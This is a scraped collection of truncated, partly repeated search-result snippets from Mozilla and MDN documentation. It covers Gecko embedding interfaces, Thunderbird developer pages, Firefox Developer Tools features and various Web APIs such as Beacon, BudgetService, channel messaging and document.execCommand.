embedding/base/nsiwindowcreator.idlscriptable a callback interface used by gecko to create new browser windows. the application, either mozilla or an embedding app, must provide an implementation of the window watcher component and notify the windowwatcher during application initialization. inherits from: nsisupports last changed in gecko 0.9.6 method overview nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a new window. gecko will/may call this method, if made available to it, to create new windows. nsiwebbrowserchrome createchromewindow( in nsiwebbrowserchrome parent, in pruint32 chromeflags ); parameters parent the nsiwebbrowserchrome of the parent window, if any. null if no paren...
...see also nsiwindowwatcher for more details. ...
...see also nsiwindowwatcher for more details. ...
Index
n show it on the next compose. if the user opens (but never sends or closes compose windows), this trick will not apply to them. but this is not a common usage model. how do i test it? on window and mac, the cached compose window is on by default. to test it 17 content tabs thunderbird content tabs enable thunderbird to display remote content in a tab, which users can browse in (mostly) the same way as with a browser. for example, invoking thunderbird's help | what's new menu option opens a tab that displays web content. the thunderbird team can update this content via the website at any time. 18 cookies in thunderbird cookies, guide, thunderbird in versions of thunderbird prior to 3 the cookie policy was very restrictive (to rss only). thunderb...
... of them below. 109 thunderbird developer reference docs no summary! 110 tips and tricks from the newsgroups thunderbird the following discussions on mozilla.dev.apps.thunderbird and mozilla.dev.extensions include useful tips for thunderbird add-on developers. please feel free to add links to threads. we will add a categorization system as the link list grows. you can also help by creating how-tos from any of these topics. 111 working with the folder pane add-ons, extensions, thunderbird the "folder pane" refers to the main navigation element that appears on the left side of the main thunderbird window. here, users traditionally find a hierarchical view of their accounts and folders. beginning in thunderbird 2, additional views on...
...d-ons, extensions, thunderbird the "folder pane" refers to the main navigation element that appears on the left side of the main thunderbird window. here, users traditionally find a hierarchical view of their accounts and folders. beginning in thunderbird 2, additional views on those folders ("recent folders", "favorite folders", and "unread folders") were added, accessible via the scroll-arrows at the top of the pane. 112 customdbheaders preference developing a custom column to display a 'superfluous' column within thunderbird's main view. the data will come from a custom header labeled x-superfluous 114 using mapi with thunderbird's windows 7 developer builds thunderbird debug, thunderbird mapi (messaging application programming interface) is ...
Debugger.Memory - Firefox Developer Tools
object is allocated. this accessor property has both a getter and setter: assigning to it enables or disables the allocation site tracking. reading the accessor produces true if the debugger is capturing stacks for object allocations, and false otherwise. allocation site tracking is initially disabled in a new debugger. assignment is fallible: if the debugger cannot track allocation sites, it throws an error instance. you can retrieve the allocation site for a given object with the debugger.object.prototype.allocationsite accessor property. allocationsamplingprobability a number between 0 and 1 that indicates the probability with which each new allocation should be entered into the allocations log. 0 is equivalent to “never”, 1 is “always”, and .05 would be “one out of twen...
......
...s. again, such a string retains other strings, but the memory consumed by the string itself is a small constant independent of its size, since it is simply a pair of pointers. spidermonkey converts strings from the more complex representations to the simpler ones when it pleases. such conversions usually increase memory consumption. spidermonkey shares some strings amongst all web pages and browser js. these shared strings, called atoms, are not included in censuses’ string counts. scripts spidermonkey has a complex, hybrid representation of javascript code. there are four representations kept in memory: source code. spidermonkey retains a copy of most javascript source code. compressed source code. spidermonkey compresses javascript source code, and de-compresses it on de...
Deprecated tools - Firefox Developer Tools
javascript file content in the console input with ctrl + o (cmd + o on macos), as well as saving the console input content to a file using ctrl + s (cmd + s on macos). webide and connect page webide was deprecated as of firefox 69 disabled as of firefox 70 (bug 1539451). removed as of firefox 71 (bug 1539462). ...
...more details on the mailing-list thread. canvas debugger bugzilla issue: bug 1403938 removed as of firefox 67 description canvas debugger allowed users to inspect the canvas element and see how frequently a given function is called. it was deprecated due to lack of use. ...
...more details on the mailing-list thread. canvas debugger bugzilla issue: bug 1403938 removed as of firefox 67 description canvas debugger allowed users to inspect the canvas element and see how frequently a given function is called. it was deprecated due to lack of use. we do not have dedicated documentation for the canvas debugger. ...
Examine and edit CSS - Firefox Developer Tools
o toggle the declaration on or off. filename and line number: on the right-hand side is a link to the rule. see link to css file. if the element has a display: grid declaration, then it gets a grid icon next to it, like this: . click that icon to display the grid overlaid on the page, including grid lines and tracks. see examine grid layouts for more on this. ...
...e number: on the right-hand side is a link to the rule. see link to css file. if the element has a display: grid declaration, then it gets a grid icon next to it, like this: . click that icon to display the grid overlaid on the page, including grid lines and tracks. see examine grid layouts for more on this. to view user-agent styles (i.e., browser-default css rules), enable "inspector > show browser styles" under the developer tool settings panel. (note that this setting is independent of the "browser styles" checkbox in the computed view.) user-agent styles are displayed against a different background, and the link to the filename and line number contains the prefix (user agent): element {} rule the element {} rule at the top of the rules list isn't actually a css rule. it represents...
...ut each property — pressing f1 on a selected property will open up its mdn reference page. clicking the arrow next to the property name (or pressing enter or space while it is selected) shows the rule that set this value, along with a link to the source filename and line number: by default, this view only shows values that have been explicitly set by the page: to see all values, click the "browser styles" box. you can tab through the filenames/line numbers; pressing enter/return will open up the relevant file at that point in the style editor. typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. you can also search ...
UI Tour - Firefox Developer Tools
the computed view shows you the complete computed css for the selected element (the computed values are the same as what getcomputedstyle would return.): compatibility view starting with firefox developer edition version 77, the compatibility view shows css compability issues, if any, for properties applied to the selected element, and for the current page as a whole. it shows icons for the browsers that do support the properties, and notes properties that are experimental or deprecated. click the name of the property to open the reference article for that property on mdn web docs. the "browser compatibility" section of the article gives details of browser support for the property. in the all issues section, click the name of the element that uses the property to select that element...
... fonts view the fonts view shows all the fonts in the page along with editable samples. ...
...the property. in the all issues section, click the name of the element that uses the property to select that element in the inspector. if more than one element has a given property applied to it, click the triangle to show all the occurences. to configure the set of browsers you want the compatibility view to check for, click settings at the bottom of the panel. untick the checkbox for any browser you are not interested in. as new browser versions are released, the version numbers in this list will be updated. fonts view the fonts view shows all the fonts in the page along with editable samples. see view fonts for more details. animations view the animations view gives you details of any animations applied to the selected element, and a controller to pause them: see work with a...
Frame rate - Firefox Developer Tools
tion of where your site might be having problems, enabling you to use the other tools for a more in-depth analysis. frame rate and responsiveness frame rate is the rate at which a video device can produce images (or frames). it's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps. in web performance, a frame encapsulates the work the browser needs to do in order to update and repaint the screen. frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. but frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it. for example, if moving the mouse over some page element trig...
...ile a faster frame rate will be smoother. but frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it. for example, if moving the mouse over some page element triggers some javascript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. if it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky). similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze. in general, a high and consistent frame rate will make the user's interaction with the site more enjoyable ...
...eed to be made synchronously in response to some event. however, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze. frame rate graph the frame rate graph is found in the recording overview part of the performance tool. it takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording. the x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate. using the frame rate graph the great value of the frame rate graph is that, like the web console, it gives you a quick indication of where your ...
UI Tour - Firefox Developer Tools
iew this displays an overview of the entire recording, with the x-axis representing time. it contains two elements: an overview of the waterfall and a frame rate graph. waterfall overview this presents a compressed view of the waterfall: recorded operations are color-coded using the same scheme as in the main waterfall view. frame rate graph the frame rate gives you an overview of the browser's responsiveness during the recording: see the separate article on frame rate. correlating events because these elements are synchronized, you can correlate events in one element with events in another. for example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate: zooming in you can use the...
..., and the main view will be updated to contain just the part selected. in the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail: details pane the details pane shows whichever tool is currently selected. to switch to a different tool, use the buttons in the toolbar. waterfall the waterfall presents a view of the work the browser is doing during the recording: executing javascript, updating the css, updating the page layout, and performing repaints. the x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution. to learn much more about the waterfall, see the separate waterfall page. call tree the call tree is a sampling profiler for java...
... waterfall, see the separate waterfall page. call tree the call tree is a sampling profiler for javascript running in the page. it periodically samples the state of the javascript engine, and records the stack for the code executing at the time the sample was taken. statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code. to learn much more about the call tree, see the separate call tree page. flame chart if the call tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the flame chart tells you the call stack at any given point during the recording: to learn much more ab...
Performance - Firefox Developer Tools
the performance tool gives you insight into your site's general responsiveness, javascript and layout performance. with the performance tool you create a recording, or profile, of your site over a period of time. the tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. ...
...out performance. with the performance tool you create a recording, or profile, of your site over a period of time. the tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording. this view only appears if you checked...
... quick tour of the ui. how to basic tasks: open the tool, create, save, load, and configure recordings components of the performance tool frame rate understand your site's overall responsiveness. call tree find bottlenecks in your site's javascript. allocations see the allocations made by your code over the course of the recording. waterfall understand the work the browser's doing as the user interacts with your site. flame chart see which javascript functions are executing, and when, over the course of the recording. scenarios animating css properties uses the waterfall to understand how the browser updates a page, and how animating different css properties can affect performance. intensive javascript uses the frame rate and waterfall too...
Settings - Firefox Developer Tools
a dark theme: common preferences settings that apply to more than one tool. there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you navigate to a new page. if common preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view. note that this setting is independent of the "browser styles" checkbox in the inspector's computed view. truncate dom attributes by def...
... tabs instead. tab size the frequency of tab stops in the editor. select 2, 4, or 8. keybindings choose the default codemirror keybindings or keybindings from one of several popular editors: vim emacs sublime text advanced settings show gecko platform data a setting to control whether or not profiles should include gecko platform symbols. disable http cache disable the browser http cache to simulate first-load performance in all tabs that have the toolbox open. this setting persists, meaning that if it is set, caching will be disabled whenever you reopen the devtools. caching is re-enabled when the devtools are closed. note that service workers are not affected by this option. note that this option was called "disable cache" in firefox versions previous to 49, but i...
...t affected by this option. note that this option was called "disable cache" in firefox versions previous to 49, but it was renamed to make it clearer that this affects the http cache, and not service workers/the cache api. disable javascript reload the current tab with javascript disabled. enable service workers over http enable service worker registrations from insecure websites. enable browser chrome and add-on debugging toolboxes enable you to use developer tools in the context of the browser itself, and not only web content. enable remote debugging enable the developer tools to debug remote firefox instances. enable worker debugging enable a panel within the debugger to debug workers. note: this option got removed from the ui in firefox 56, because this version ships with a n...
Web Console remoting - Firefox Developer Tools
have been made since then. the webconsoleactor and the webconsoleclient the webconsoleactor lives in dbg-webconsole-actors.js, in the toolkit/devtools/webconsole folder. the webconsoleclient lives in webconsoleclient.jsm (in toolkit/devtools/webconsole) and it is used by the web console when working with the web console actor. to see how the debugger is used in the web console code, look in browser/devtools/webconsole/webconsole.js, and search for webconsoleconnectionproxy. the new web console actors are: the webconsoleactor allows js evaluation, autocomplete, start/stop listeners, etc. the networkeventactor is used for each new network request. the client can request further network event details - like response body or request headers. to attach to the webconsoleactor, follow the...
...nn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ... ] } notice that the consoleactor is also available as a global actor. when you attach to the global consoleactor you receive all of the network requests, page errors, and the other events from all of the tabs and windows, including chrome errors and network events. this actor is used for the browser console implementation and for debugging remote firefox/b2g instances. startlisteners(listeners, onresponse) the new startlisteners packet: { "to": "conn0.console9", "type": "startlisteners", "listeners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ] } the reply is: { "startedlisteners": [ "pageerror", "consoleapi", "networkactivity...
...": "getpreferences", "preferences": [ "networkmonitor.saverequestandresponsebodies" ] } reply packet: { "preferences": { "networkmonitor.saverequestandresponsebodies": false }, "from": "conn0.console34" } you can also use the webconsoleclient.getpreferences(prefs, onresponse). the prefs argument is an array of preferences you want to get their values for, by name. private browsing the browser console can be used while the user has private windows open. each page error, console api message and network request is annotated with a private flag. private messages are cleared whenever the last private window is closed. the console actor provides the lastprivatecontextexited notification: { "from": "conn0.console19", "type": "lastprivatecontextexited" } this notificati...
Beacon API - Web APIs
ent during the unloading of a document is something that has traditionally been difficult for developers. user agents will typically ignore asynchronous xmlhttprequests made in an unload handler. to solve this problem, analytics and diagnostics code will typically make a synchronous xmlhttprequest in an unload or beforeunload handler to submit the data. the synchronous xmlhttprequest forces the browser to delay unloading the document, and makes the next navigation appear to be slower. there is nothing the next page can do to avoid this perception of poor page load performance. there are other techniques used to ensure that data is submitted. one such technique is to delay the unload to submit data by creating an image element and setting its src attribute within the unload handler. as most u...
...unload and submit data to a server. not only do these techniques represent poor coding patterns, some of them are unreliable and result in the perception of poor page load performance for the next navigation. the beacon api provides a standard way to address these issues. global context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server in the global browsing context. the method takes two arguments, the url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of ...
...st for delivery, the method returns "true" and returns "false" otherwise. worker context the beacon api's navigator.sendbeacon() method is used to send a beacon of data to the server from the worker global scope. the method takes two arguments, the url and the data to send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and otherwise returns "false". ...
BudgetService.getBudget() - Web APIs
the getbudget() property of the budgetservice interface returns a promise that resolves to an array of budgetstate objects indicating the expected state of the budget at times in the future. syntax var apromise = budgetservice.getbudget(); apromise.then(function(budgetstate[]){ ... }); parameters none. returns a promise that resolves to an instance of budgetstate. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetbudget experimentaldeprecatednon-standard...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetService.getCost() - Web APIs
the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case background operation cost of the provided background operation. syntax var apromise = budgetservice.getcost(operation); apromise.then(function(somedouble){ ... }); parameters operation must be "silent-push". returns a promise that resolves to a number. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcost experimentaldeprecated...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetService.reserve() - Web APIs
the reserve() property of the budgetservice interface returns a promise that resolves to a boolean indicating whether the requested budget operation can be reserved. syntax var apromise = budgetservice.reserve(operation); apromise.then(function(boolean){ ... }); parameters operation desc returns a promise that resolves to a boolean. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreserve experimentaldeprecatednon-standardchrome full su...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetService - Web APIs
le, indicating the worst-case background operation cost of the provided background operation. budgetservice.getbudget() returns a promise that resolves to an array of budgetstate objects, indicating the expected state of the budget at times in the future. budgetservice.reserve() returns a promise that resolves to a boolean, indicating whether the requested budget operation can be reserved. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetservice experimen...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetState.budgetAt - Web APIs
the budgetat read-only property of the budgetstate interface returns the anticipated processing budget at the specified time. syntax var budget = budgetstate.budgetat value a double. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetState.time - Web APIs
Web › API › BudgetState › time
the time read-only property of the budgetstate interface returns a timestamp at which the budgetat value is valid. syntax var time = budgetstate.time value a timestamp. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ? ...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
BudgetState - Web APIs
the budgetstate interface of the the web budget api provides the amount of the user agent's processing budget at a specific point in time. properties budgetstate.budgetat returns the anticipated processing budget at a specific time. budgetstate.time returns a timestamp at which the budgetat value is valid. methods none. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standardchrome full support ...
...not for use in new websites.deprecated. not for use in new websites. ...
...not for use in new websites.deprecated. not for use in new websites. ...
Using images - Web APIs
« previousnext » until now we have created our own shapes and applied styles to them. one of the more exciting features of <canvas> is the ability to use images. these can be used to do dynamic photo compositing or as backdrops of graphs, for sprites in games, and so forth. external images can be used in any format supported by the browser, such as png, gif, or jpeg. you can even use the image produced by other canvas elements on the same page as the source! importing images into a canvas is basically a two step process: get a reference to an htmlimageelement object or to another canvas element as a source. it is also possible to use images by providing a url. draw the image on the canvas using the drawimage() function. let's take a look at how to do this. getting...
...tch another option is to create new htmlimageelement objects in our script. to do this, you can use the convenient image() constructor: var img = new image(); // create new img element img.src = 'myimage.png'; // set source path when this script gets executed, the image starts loading. if you try to call drawimage() before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once y...
...height) this adds the width and height parameters, which indicate the size to which to scale the image when drawing it onto the canvas. example: tiling an image in this example, we'll use an image as a wallpaper and repeat it several times on the canvas. this is done simply by looping and placing the scaled images at different positions. in the code below, the first for loop iterates over the rows. the second for loop iterates over the columns. the image is scaled to one third of its original size, which is 50x38 pixels. note: images can become blurry when scaling up or grainy if they're scaled down too much. scaling is probably best not done if you've got some text in it which needs to remain legible. <html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></c...
Using channel messaging - Web APIs
in this article we'll explore the basics of using this technology. note: this feature is available in web workers. use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via iframes, such as games, address book, or an audio player with personalized music choices. ...
... profile, or add new background music choices from the audio player onto the game? such things are not so easy using conventional web technology, because of the security models the web uses. you have to think about whether the origins trust one another, and how the messages are passed. message channels on the other hand can provide a secure channel that allows you to pass data between different browsing contexts. note: for more information and ideas, the ports as the basis of an object-capability model on the web section of the spec is a useful read. simple examples to get your started, we have published a couple of demos on github. first up, check out our channel messaging basic demo (run it live too), which shows a really simple single message transfer between a page and an embedded <...
...sage method. let's explore how the iframe.contentwindow.postmessage line works in a bit more detail. it takes three arguments: the message being sent. for this initial port transfering this message could be an empty string but in this example it is set to 'init'. the origin the message is to be sent to. * means "any origin". an object, the ownership of which is transferred to the receiving browsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to communicate with the main page. when our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel. receiving the port and message in the iframe over in the iframe, we have the following javascript:...
Channel Messaging API - Web APIs
note: this feature is available in web workers. channel messaging concepts and usage a message channel is created using the messagechannel() constructor. ...
... channel is created using the messagechannel() constructor. ...
...you could then respond by sending a message back to the original document using messageport.postmessage. when you want to stop sending messages down the channel, you can invoke messageport.close to close the ports. ...
Content Index API - Web APIs
the content index api allows developers to register their offline enabled content with the browser. concepts and usage as it stands, offline web content is not easily discoverable by users. content indexing allows developers to tell the browser about their specific offline content. this allows users to discover and view what is available, whilst giving developers the ability to add and manage this content. examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content. ...
...e, whilst giving developers the ability to add and manage this content. examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content. the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker. the browser can then use these entries to display offline reading to a user. as a developer you can also display these entries within your application. indexed entries do not automatically expire. it's good practice to present an interface for clearing out entries, or periodically remove older entries. the api supports indexing urls corresponding to html documents. a url for a cached media file, for e...
...vent when an item is removed from the user agent interface, a contentdelete event is received by the service worker. self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface. it is not fired when the contentindex.delete method is called. specifications specification status comment unknown unknown initial definition. ...
DataTransferItem.webkitGetAsEntry() - Web APIs
syntax datatransferitem.webkitgetasentry(); parameters none. ...
...t the recursive scanfiles() function. this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter). note that to read all files in a directory, readentries needs to be called repeatedly until it returns an empty array. in chromium-based browsers, the following example will only return a max of 100 entries. let dropzone = document.getelementbyid("dropzone"); let listing = document.getelementbyid("listing"); function scanfiles(item, container) { let elem = document.createelement("li"); elem.innerhtml = item.name; container.appendchild(elem); if (item.isdirectory) { let directoryreader = item.createreader(); let direct...
...see how this works by trying it out below. find some files and directories and drag them in, and take a look at the resulting output. specifications specification status comment file and directory entries apithe definition of 'webkitgetasentry()' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitgetasentrychrome ...
Document.createDocumentFragment() - Web APIs
gment is in memory and not part of the main dom tree, appending children to it does not cause page reflow (computation of element's position and geometry). historically, using document fragments could result in better performance. ...
...umentfragment constructor to create a new fragment: let fragment = new documentfragment(); example this example creates a list of major web browsers in a documentfragment, then adds the new dom subtree to the document to be displayed. ...
...tfragment(); example this example creates a list of major web browsers in a documentfragment, then adds the new dom subtree to the document to be displayed. html <ul id="ul"> </ul> javascript var element = document.getelementbyid('ul'); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', 'safari', 'internet explorer']; browsers.foreach(function(browser) { var li = document.createelement('li'); li.textcontent = browser; fragment.appendchild(li); }); element.appendchild(fragment); result specifications specification status comment domthe definition of 'document.createdocumentfragment()' in that specification. living standard initial definition in the dom 1 specificat...
Document.execCommand() - Web APIs
ing a link), or affect an entire line (indenting). when using contenteditable, execcommand() affects the currently active editable element. syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. note: only returns true if part of a user interaction. don't try using the return value to verify browser support before calling a command. parameters acommandname a domstring specifying the name of the command to execute. see commands for a list of possible commands. ashowdefaultui a boolean indicating whether the default user interface should be shown. this is not implemented in mozilla. avalueargument for commands which require an input argument, is a domstring providing that informati...
...es the <strong> tag instead of <b>. clearauthenticationcache clears all authentication credentials from the cache. contentreadonly makes the content document either read-only or editable. this requires a boolean true/false as the value argument. (not supported by internet explorer.) copy copies the current selection to the clipboard. conditions of having this behavior enabled vary from one browser to another, and have evolved over time. check the compatibility table to determine if you can use it in your case. createlink creates an hyperlink from the selection, but only if there is a selection. requires a uri string as a value argument for the hyperlink's href. the uri must contain at least a single character, which may be whitespace. (internet explorer will create a link with a null v...
...eatelink creates an hyperlink from the selection, but only if there is a selection. requires a uri string as a value argument for the hyperlink's href. the uri must contain at least a single character, which may be whitespace. (internet explorer will create a link with a null value.) cut removes the current selection and copies it to the clipboard. when this behavior is enabled varies between browsers, and its conditions have evolved over time. check the compatibility table for usage details. decreasefontsize adds a <small> tag around the selection or at the insertion point. (not supported by internet explorer.) defaultparagraphseparator changes the paragraph separator used when new paragraphs are created in editable text regions. see differences in markup generation for more details. ...
Document.getElementsByTagNameNS() - Web APIs
he local name of elements to look for or the special value *, which matches all elements (see element.localname). note: while the w3c specification says elements is a nodelist, this method returns a htmlcollection both in gecko and internet explorer. opera returns a nodelist, but with a nameditem method implemented, which makes it similar to a htmlcollection. as of january 2012, only in webkit browsers is the returned value a pure nodelist. see bug 14869 for details. note: currently parameters in this method are case-sensitive, but they were case-insensitive in firefox 3.5 and before. see the note in browser compatibility section in element.getelementsbytagnamens for details. example in the following example getelementsbytagnamens starts from a particular parent element, and searches topd...
...(to accommodate explorer, one could call an xpath wrapper instead of the xpath in the function below (as explore...
...(to accommodate explorer, one could call an xpath wrapper instead of the xpath in the function below (as explorer supports xpath with a different api), such a...
Document: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling. bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
... handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities. this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device. the device's screen orientation is changed while the pointer is active. ...
...tion is changed while the pointer is active. the browser decides that the user started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property prevents the input from continuing. after the pointercancel event is fired, the browser will also send pointerout followed by pointerleave. examples using addeventlistener(): document.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled') }); using the onpointercancel event handler property: document.onpointercancel = (event) => { console.log('pointer event cancelled') }; specifications specification status pointe...
Element.classList - Web APIs
Web › API › Element › classList
g/show_bug.cgi?id=814014 polyfill the legacy onpropertychange event can be used to create a living classlist mockup thanks to a element.prototype.classname property that fires the specified event once it is changed. the following polyfill for both classlist and domtokenlist ensures full compliance (coverage) for all standard methods and properties of element.prototype.classlist for ie10-ie11 browsers plus nearly compliant behavior for ie 6-9. check it out: // 1. string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\1...
... document.documentelement.firstchild.appendchild(document.createelement('style')).stylesheet.csstext=( '_*{x-uclp:expression(!this.hasownproperty("classlist")&&window[" ucl"](this))}' + // ie6 '[class...
...ebpage to a snail's crawl, making these modifications completely impractical for this polyfill. a minor note is that in ie6-7, this polyfill uses the window[" ucl"] property on the window object for communicating with the css expressions, the x-uclp css property on all elements, and the element[" ucl"] property on all elements to allow garbage collection and boost performance. in all polyfilled browsers (ie6-9), an additional element[" uclp"] property is added to element to ensure standards compliant prototyping, and a domtokenlist[" ucl"] property is added to each element["classlist"] object to ensure that the domtokenlist is bounded to its own element. specifications specification status comment domthe definition of 'element.classlist' in that specification. ...
Element.currentStyle - Web APIs
alue is read. /* any copyright is dedicated to the public domain. * http://creativecommons.org/publicdomain/zero/1.0/ */ if (!("currentstyle" in element.prototype)) { object.defineproperty(element.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification. microsoft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standar...
... ...
... ...
Element.runtimeStyle - Web APIs
summary element.runtimestyle is a proprietary property similar to htmlelement.style, except its styles, that have higher precedence and modification. it does not modify the style content attribute. it is available in old versions of microsoft internet explorer. specification not a part of any specification. microsoft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruntimestyle non-standardchrome no support ...
... ...
... ...
Element.scrollLeftMax - Web APIs
